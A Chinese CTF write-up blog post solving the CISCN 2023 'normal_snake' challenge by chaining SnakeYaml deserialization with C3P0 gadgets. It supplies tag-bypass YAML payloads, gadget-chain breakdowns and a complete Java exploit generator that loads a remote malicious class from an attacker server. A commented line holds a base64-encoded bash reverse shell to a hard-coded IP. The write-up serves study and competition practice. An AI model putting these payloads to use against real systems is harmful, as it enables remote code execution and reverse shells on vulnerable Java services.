从CISCN2023-华北-normal_snake看Snakeyaml和C3P0缝合

前言

看标题就知道这次我要写什么,就是缝合怪。

除了Hessian这种独特的反序列化机制,以及AliyunChain17这种,很多java反序列化题目都是缝合。再加上搞心态的黑名单,缝合属性大爆发了属于是。

话不多说直接看题。

题目分析

这道题我在博客园发过一次分析,这里也就浅浅贴个链接CV几下偷个懒~~

[CISCN 2023 华北]-normal_snake - Eddie_Murphy - 博客园 (cnblogs.com)

/read路由下传参data,pyload不能包含!!,然后用了yaml来load传入的参数。

稍作了解,这其实就是 SnakeYaml 反序列化漏洞,禁用了 yaml 的常用头 !!

前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

但用tag头可以绕过:微信公众平台 (qq.com)

1
2
3
!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true

!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true

或者这样:

1
2
3
%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]

SafeConstructorWithException 中过滤了常见的 payload 关键字,HEX 编码部分禁用了 BadAttributeValueExpExceptionHotSwappableTargetSource

1
2
3
4
5
6
7
8
9
10
private void checkForExceptions() throws RuntimeException, RuntimeException {
String upperCaseData = this.data.toUpperCase();
if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) {
if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
throw new RuntimeException("No way to pass!");
}
} else {
throw new RuntimeException("Unsafe data detected!");
}
}

看一下pom.xml:

image-20240805005147709

给了c3p0依赖,估计是从这里入手:

在C3P0中有三种利用方式:

1
2
3
http base
JNDI
HEX序列化字节加载器

在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。

抄一下:

2023 华北分区赛 normal_snake - B0T1eR - 博客园 (cnblogs.com)

C3P0 主要有以下利用链:

触发点 功效 适用性
JndiRefForwardingDataSource#setLoginTimeout – InitialContext#lookup Jndi 注入 fastjson/snakeyaml/jackson
WrapperConnectionPoolDataSource#setUserOverridesAsString – ObjectInputStream#readObject Hex 解码后触发原生反序列化 fastjson/snakeyaml/jackson
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject – IndirectlySerialized#getObject() – InitialContext#lookup Jndi 注入 Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject – IndirectlySerialized#getObject() – com.mchange.v2.naming.ReferenceableUtils#referenceToObject – URLClassLoader URLCLassLoader 远程类加载 Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject – IndirectlySerialized#getObject() – com.mchange.v2.naming.ReferenceableUtils#referenceToObject – BeanFactory#getInstance 不出网的命令注入 Java原生反序列化不出网

在不考虑题目黑名单的情况下,这里浅浅了解了一下C3P0的几种打法:

JndiRefForwardingDataSource:Jndi 注入

没错,又是老常客了,JNDI注入。

1
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入

poc链:

1
2
3
4
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds)
-com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()
-com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()
-InitialContext#lookup()

而SnakeYaml 可以触发该 setter 方法:

1
String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";

WrapperConnectionPoolDataSource:Hex 二次反序列化

1
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";

为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子?

首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用:

WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类,而com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString在 snakeyaml 反序列化的时候会被调用:

1
2
3
4
5
6
7
public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
String oldVal = this.userOverridesAsString;
if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
this.userOverridesAsString = userOverridesAsString;
}

经过一系列调用栈:

1
2
3
4
5
6
java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue)
-java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event)
-java.beans.VetoableChangeListener#vetoableChange()
-C3P0ImplUtils#parseUserOverridesAsString()
-com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes)
-com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)

C3P0ImplUtils#parseUserOverridesAsString方法:从形参处截取掉HASM_HEADER:HexAsciiSerializedMap字符串然后进行hex解码为字节数组:

image-20240805010542985

下一个栈调用com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)处理字节数组调用原生反序列化:

1
2
3
4
5
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:jndi 注入

如下:

1
2
3
4
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
-IndirectlySerialized#getObject()
-com.mchange.v2.naming.ReferenceIndirector#getObject()
-InitialContext#lookup()

com.mchange.v2.naming.ReferenceIndirector#getObject() 内部可以触发 JNDI 注入:

image-20240805010609440

看到lookup基本就有谱了。

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:远程类加载

利用链可参考ysoserial:

1
2
3
4
5
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
-IndirectlySerialized#getObject()
-com.mchange.v2.naming.ReferenceIndirector#getObject()
-com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
-URLClassLoader

对于最后一步com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)

这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用,

因此可以直接在静态块里面放入恶意数据进行RCE:

image-20240805010633303

对于前面一个jndi也有的PoolBackedDataSourceBase,这里一并讲了。

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject():

image-20240805010651598

红框中的 ois.readObject() 获取的是 IndirectlySerialized 对象,IndirectlySerialized 是一个接口,其的唯一子类是 ReferenceSerialized,

但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类,该类不能进行初始化操作。

所以我们现在要看 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的。

从序列化角度来看:

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject() 中,

如果序列化的类是不可序列化的话(NotSerializableException),将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)

ReferenceIndirector.indirectForm 方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized 对象并返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
ReferenceSerialized( Reference reference,
Name name,
Name contextName,
Hashtable env )
{
this.reference = reference;
this.name = name;
this.contextName = contextName;
this.env = env;
}

所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中。

ConnectionPoolDataSource 接口有俩个子类,不过遗憾的是它们俩都可以被序列化:

1
2
WrapperConnectionPoolDataSource
JndiRefConnectionPoolDataSource

那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类,也关系到这个题的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
Reference reference = new Reference("evil","evil","http://vps:port/evil.jar");
return reference;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:BeanFactory不出网

JAVA反序列化之C3P0不出网利用 和 JNDI 高版本注入很像。

关于JNDI高版本注入,这个我在之前的博客就分析了:绕过JDK高版本限制进行JNDI注入 - Eddie_Murphy - 博客园 (cnblogs.com)

EXP

言归正传,回到怎么打题目本身。

题目入口是 yaml.load,还给了 C3P0 依赖,又过滤了 jndi 之类的关键字,所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化

根据上面的 5 条 C3P0 利用链,选择 SnakeYaml 反序列化触发原生反序列化:

1
WrapperConnectionPoolDataSource#setUserOverridesAsString --> ObjectInputStream#readObject

然后再触发远程类加载或者jndi注入:

1
2
3
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> InitialContext#lookup
or
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> com.mchange.v2.naming.ReferenceableUtils#referenceToObject --> URLClassLoader

借用原作者 URLClassLoader 远程加载类POC直接打了。

image-20240805003817800

入口很显然在这个yaml.load,这里我使用的方法是C3P0的HEX序列化字节加载器,SnakeYaml就起到一个调用com.mchange.v2.c3p0.WrapperConnectionPoolDataSource的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package com.snakeyaml;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import org.yaml.snakeyaml.Yaml;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Exp {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
return new Reference("evil","evil","http://vps:port/");
// ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
// resourceRef.add(new StringRefAddr("forceString", "x=eval"));
// resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\"')"));
// return resourceRef;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
C3P0 c3P0=new C3P0();
PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public
Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase));
String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
System.out.println(poc);
// Yaml yaml=new Yaml();
// yaml.load(poc);
// byte[] result=serialize(poolBackedDataSourceBase);
// unserialize(result);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
outputStream.close();
return byteArrayOutputStream.toByteArray();
}

public static void unserialize(byte[] s) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static String byteArrayToHexString(byte[] byteArray) {
StringBuilder sb = new StringBuilder();

for (byte b : byteArray) {
sb.append(String.format("%02X", b));
}

return sb.toString();
}
}

payload记得URL编码:

image-20240805004855145

image-20240805004832508

环境变量拿下flag:

image-20240805004825368

参考:

2023 华北分区赛 normal_snake - B0T1eR - 博客园 (cnblogs.com)

CTF-Java题记录 - 首页|Aiwin


从CISCN2023-华北-normal_snake看Snakeyaml和C3P0缝合
https://eddiemurphy89.github.io/2024/08/05/从CISCN2023-华北-normal-snake看Snakeyaml和C3P0缝合/
作者
EddieMurphy
发布于
2024年8月5日
许可协议